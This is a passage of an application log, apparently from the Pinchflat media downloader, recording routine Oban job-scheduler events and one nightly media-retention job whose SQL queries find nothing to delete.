{"source":"oban","duration":1416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:01:47.589 [info] {"source":"oban","duration":1224,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:02:00.204 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:02:17.591 [info] {"source":"oban","duration":1508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:02:47.593 [info] {"source":"oban","duration":1088,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:03:00.205 [info] {"source":"oban","duration":255,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:03:17.595 [info] {"source":"oban","duration":1105,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:03:47.597 [info] {"source":"oban","duration":879,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:04:00.206 [info] {"source":"oban","duration":272,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:04:17.599 [info] {"source":"oban","duration":1347,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:04:47.601 [info] {"source":"oban","duration":1476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:05:00.207 [info] {"source":"oban","duration":540,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:05:17.603 [info] {"source":"oban","duration":1492,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:05:47.605 [info] {"source":"oban","duration":1302,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:06:00.208 [info] {"source":"oban","duration":354,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:06:17.607 [info] {"source":"oban","duration":1484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:06:47.609 [info] {"source":"oban","duration":1607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:07:00.212 [info] {"source":"oban","duration":1925,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:07:17.611 [info] {"source":"oban","duration":1457,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:07:47.613 [info] {"source":"oban","duration":1556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:08:00.214 [info] {"source":"oban","duration":257,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:08:17.615 [info] {"source":"oban","duration":1301,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:08:47.617 [info] {"source":"oban","duration":1254,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:09:00.215 [info] {"source":"oban","duration":585,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:09:17.619 [info] {"source":"oban","duration":1005,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:09:47.621 [info] {"source":"oban","duration":939,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:10:00.216 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:10:17.623 [info] {"source":"oban","duration":1003,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:10:47.625 [info] {"source":"oban","duration":1090,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:11:00.217 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:11:17.627 [info] {"source":"oban","duration":892,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:11:47.629 [info] {"source":"oban","duration":1235,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:12:00.218 [info] {"source":"oban","duration":334,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:12:17.631 [info] {"source":"oban","duration":988,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:12:47.633 [info] {"source":"oban","duration":1595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:13:00.219 [info] {"source":"oban","duration":232,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:13:17.635 [info] {"source":"oban","duration":1612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:13:47.637 [info] {"source":"oban","duration":1483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:14:00.220 [info] {"source":"oban","duration":285,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:14:17.639 [info] {"source":"oban","duration":1605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:14:47.641 [info] {"source":"oban","duration":1158,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:15:00.221 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:15:17.643 [info] {"source":"oban","duration":1270,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:15:47.645 [info] {"source":"oban","duration":1344,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:16:00.222 [info] {"source":"oban","duration":297,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:16:17.647 [info] {"source":"oban","duration":1067,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:16:47.649 [info] {"source":"oban","duration":1435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:17:00.223 [info] {"source":"oban","duration":233,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:17:17.651 [info] {"source":"oban","duration":1242,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:17:47.653 [info] {"source":"oban","duration":1187,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:18:00.224 [info] {"source":"oban","duration":486,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:18:17.655 [info] {"source":"oban","duration":1097,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:18:47.657 [info] {"source":"oban","duration":1093,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:19:00.225 [info] {"source":"oban","duration":240,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:19:17.659 [info] {"source":"oban","duration":1227,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:19:47.661 [info] {"source":"oban","duration":1205,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:20:00.226 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:20:17.663 [info] {"source":"oban","duration":1207,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:20:47.665 [info] {"source":"oban","duration":1412,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:21:00.227 [info] {"source":"oban","duration":444,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:21:17.667 [info] {"source":"oban","duration":1212,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:21:47.669 [info] {"source":"oban","duration":1481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:22:00.228 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:22:17.671 [info] {"source":"oban","duration":1012,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:22:47.673 [info] {"source":"oban","duration":1451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:23:00.229 [info] {"source":"oban","duration":261,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:23:17.675 [info] {"source":"oban","duration":1142,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:23:47.677 [info] {"source":"oban","duration":1454,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:24:00.230 [info] {"source":"oban","duration":281,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:24:17.679 [info] {"source":"oban","duration":1054,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:24:47.681 [info] {"source":"oban","duration":1134,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:25:00.231 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:25:17.683 [info] {"source":"oban","duration":1225,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:25:47.685 [info] {"source":"oban","duration":1328,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:26:00.232 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:26:17.687 [info] {"source":"oban","duration":1290,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:26:47.689 [info] {"source":"oban","duration":1095,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:27:00.233 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:27:17.691 [info] {"source":"oban","duration":1171,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:27:47.693 [info] {"source":"oban","duration":1438,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:28:00.234 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:28:17.695 [info] {"source":"oban","duration":926,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:28:47.697 [info] {"source":"oban","duration":1078,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:29:00.235 [info] {"source":"oban","duration":292,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:29:17.699 [info] {"source":"oban","duration":1434,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:29:47.701 [info] {"source":"oban","duration":1447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:30:00.236 [info] {"source":"oban","duration":277,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:30:17.703 [info] {"source":"oban","duration":1543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:30:47.705 [info] {"source":"oban","duration":1545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:31:00.237 [info] {"source":"oban","duration":251,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:31:17.707 [info] {"source":"oban","duration":1526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:31:47.709 [info] {"source":"oban","duration":1059,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:32:00.238 [info] {"source":"oban","duration":207,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:32:17.711 [info] {"source":"oban","duration":1181,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:32:47.713 [info] {"source":"oban","duration":1477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:33:00.239 [info] {"source":"oban","duration":285,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:33:17.715 [info] {"source":"oban","duration":1300,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:33:47.717 [info] {"source":"oban","duration":1463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:34:00.240 [info] {"source":"oban","duration":481,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:34:17.718 [info] {"source":"oban","duration":958,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:34:47.721 [info] {"source":"oban","duration":1169,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:35:00.241 [info] {"source":"oban","duration":333,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:35:17.723 [info] {"source":"oban","duration":963,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:35:47.725 [info] {"source":"oban","duration":1225,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:36:00.242 [info] {"source":"oban","duration":274,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:36:17.727 [info] {"source":"oban","duration":1035,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:36:47.729 [info] {"source":"oban","duration":1191,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:37:00.243 [info] {"source":"oban","duration":324,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:37:17.731 [info] {"source":"oban","duration":942,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:37:47.733 [info] {"source":"oban","duration":1523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:38:00.244 [info] {"source":"oban","duration":312,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:38:17.735 [info] {"source":"oban","duration":1508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:38:47.736 [info] {"source":"oban","duration":932,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:39:00.245 [info] {"source":"oban","duration":275,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:39:17.739 [info] {"source":"oban","duration":1383,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:39:47.741 [info] {"source":"oban","duration":1542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:40:00.246 [info] {"source":"oban","duration":296,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:40:17.743 [info] {"source":"oban","duration":1217,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:40:47.745 [info] {"source":"oban","duration":1420,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:41:00.247 [info] {"source":"oban","duration":240,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:41:17.747 [info] {"source":"oban","duration":1293,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:41:47.749 [info] {"source":"oban","duration":1432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:42:00.248 [info] {"source":"oban","duration":313,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:42:17.751 [info] {"source":"oban","duration":1151,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:42:47.753 [info] {"source":"oban","duration":1072,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:43:00.249 [info] {"source":"oban","duration":341,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:43:17.755 [info] {"source":"oban","duration":1175,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:43:47.757 [info] {"source":"oban","duration":1021,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:44:00.250 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:44:17.759 [info] {"source":"oban","duration":1211,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:44:47.761 [info] {"source":"oban","duration":953,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:45:00.251 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:45:17.763 [info] {"source":"oban","duration":1063,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:45:47.765 [info] {"source":"oban","duration":985,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:46:00.252 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:46:17.767 [info] {"source":"oban","duration":1616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:46:47.769 [info] {"source":"oban","duration":1495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:47:00.253 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:47:17.771 [info] {"source":"oban","duration":1447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:47:47.773 [info] {"source":"oban","duration":1469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:48:00.254 [info] {"source":"oban","duration":336,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:48:17.775 [info] {"source":"oban","duration":1379,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:48:47.777 [info] {"source":"oban","duration":1442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:49:00.255 [info] {"source":"oban","duration":267,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:49:17.779 [info] {"source":"oban","duration":1400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:49:47.781 [info] {"source":"oban","duration":1448,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:50:00.256 [info] {"source":"oban","duration":329,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:50:17.783 [info] {"source":"oban","duration":1453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:50:47.785 [info] {"source":"oban","duration":1187,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:51:00.257 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:51:17.787 [info] {"source":"oban","duration":1148,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:51:47.789 [info] {"source":"oban","duration":1245,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:52:00.258 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:52:17.791 [info] {"source":"oban","duration":1179,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:52:47.793 [info] {"source":"oban","duration":1071,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:53:00.259 [info] {"source":"oban","duration":323,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:53:17.795 [info] {"source":"oban","duration":1061,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:53:47.797 [info] {"source":"oban","duration":1331,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:54:00.260 [info] {"source":"oban","duration":331,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:54:17.799 [info] {"source":"oban","duration":1318,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:54:47.801 [info] {"source":"oban","duration":1574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:55:00.261 [info] {"source":"oban","duration":475,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:55:17.803 [info] {"source":"oban","duration":1034,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:55:47.805 [info] {"source":"oban","duration":1411,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:56:00.262 [info] {"source":"oban","duration":255,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:56:17.807 [info] {"source":"oban","duration":1456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:56:47.809 [info] {"source":"oban","duration":1275,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:57:00.263 [info] {"source":"oban","duration":428,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:57:17.811 [info] {"source":"oban","duration":1326,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:57:47.813 [info] {"source":"oban","duration":1393,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:58:00.264 [info] {"source":"oban","duration":306,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:58:17.815 [info] {"source":"oban","duration":1562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:58:47.818 [info] {"source":"oban","duration":1390,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:59:00.265 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:59:17.820 [info] {"source":"oban","duration":1143,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:59:47.822 [info] {"source":"oban","duration":1106,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:00:00.268 [info] {"source":"oban","duration":2096,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[2614]} 18:00:00.288 [info] {"args":{},"id":2614,"meta":{"cron":true,"cron_expr":"0 1 * * *","cron_tz":"Etc/UTC"},"system_time":1765501200287930925,"max_attempts":20,"queue":"local_data","worker":"Pinchflat.Downloading.MediaRetentionWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","local_data"]} 18:00:00.291 [debug] QUERY OK source="media_items" db=2.9ms idle=1117.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" WHERE ((NOT (m0."media_filepath" IS NULL) AND IFNULL(retention_period_days, 0) > 0 AND DATETIME(media_downloaded_at, '+' || retention_period_days || ' day') < DATETIME('now') ) AND NOT (m0."prevent_culling" = 1)) [] 18:00:00.291 [info] Culling 0 media items past their retention date 18:00:00.295 [debug] QUERY OK source="media_items" db=2.9ms idle=1120.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" WHERE ((NOT (m0."media_filepath" IS NULL) AND NOT ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND NOT (m0."prevent_culling" = 1)) [] 18:00:00.295 [info] Deleting 0 media items that are from before the source cutoff 18:00:00.296 [info] {"args":{},"id":2614,"meta":{"cron":true,"cron_expr":"0 1 * * *","cron_tz":"Etc/UTC"},"state":"success","max_attempts":20,"queue":"local_data","worker":"Pinchflat.Downloading.MediaRetentionWorker","source":"oban","duration":7249,"event":"job:stop","queue_time":273984,"attempt":1,"tags":["media_item","local_data"]} 18:00:17.824 [info] {"source":"oban","duration":1523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:00:47.826 [info] {"source":"oban","duration":1137,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:01:00.269 [info] {"source":"oban","duration":262,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:01:17.828 [info] {"source":"oban","duration":1524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:01:47.830 [info] {"source":"oban","duration":969,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:02:00.270 [info] {"source":"oban","duration":281,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:02:17.832 [info] {"source":"oban","duration":1155,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:02:47.834 [info] {"source":"oban","duration":1718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:03:00.271 [info] {"source":"oban","duration":303,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:03:17.837 [info] {"source":"oban","duration":1317,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:03:47.839 [info] {"source":"oban","duration":1394,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:04:00.272 [info] {"source":"oban","duration":271,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:04:17.841 [info] {"source":"oban","duration":1195,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:04:47.843 [info] {"source":"oban","duration":1573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:05:00.273 [info] {"source":"oban","duration":425,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:05:17.845 [info] {"source":"oban","duration":1097,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:05:47.847 [info] {"source":"oban","duration":1114,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:06:00.274 [info] {"source":"oban","duration":206,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:06:17.849 [info] {"source":"oban","duration":1519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:06:47.851 [info] {"source":"oban","duration":1448,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:07:00.275 [info] {"source":"oban","duration":471,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:07:17.853 [info] {"source":"oban","duration":1322,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:07:47.855 [info] {"source":"oban","duration":1248,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:08:00.278 [info] {"source":"oban","duration":1768,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:08:17.857 [info] {"source":"oban","duration":1227,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:08:47.859 [info] {"source":"oban","duration":1500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:09:00.280 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:09:17.861 [info] {"source":"oban","duration":1427,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:09:47.862 [info] {"source":"oban","duration":906,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:10:00.281 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:10:17.865 [info] {"source":"oban","duration":890,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:10:47.867 [info] {"source":"oban","duration":973,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:11:00.282 [info] {"source":"oban","duration":335,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:11:17.869 [info] {"source":"oban","duration":1019,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:11:47.871 [info] {"source":"oban","duration":1482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:12:00.283 [info] {"source":"oban","duration":286,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:12:17.873 [info] {"source":"oban","duration":1357,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:12:47.875 [info] {"source":"oban","duration":1467,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:13:00.284 [info] {"source":"oban","duration":194,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:13:17.877 [info] {"source":"oban","duration":1439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:13:47.879 [info] 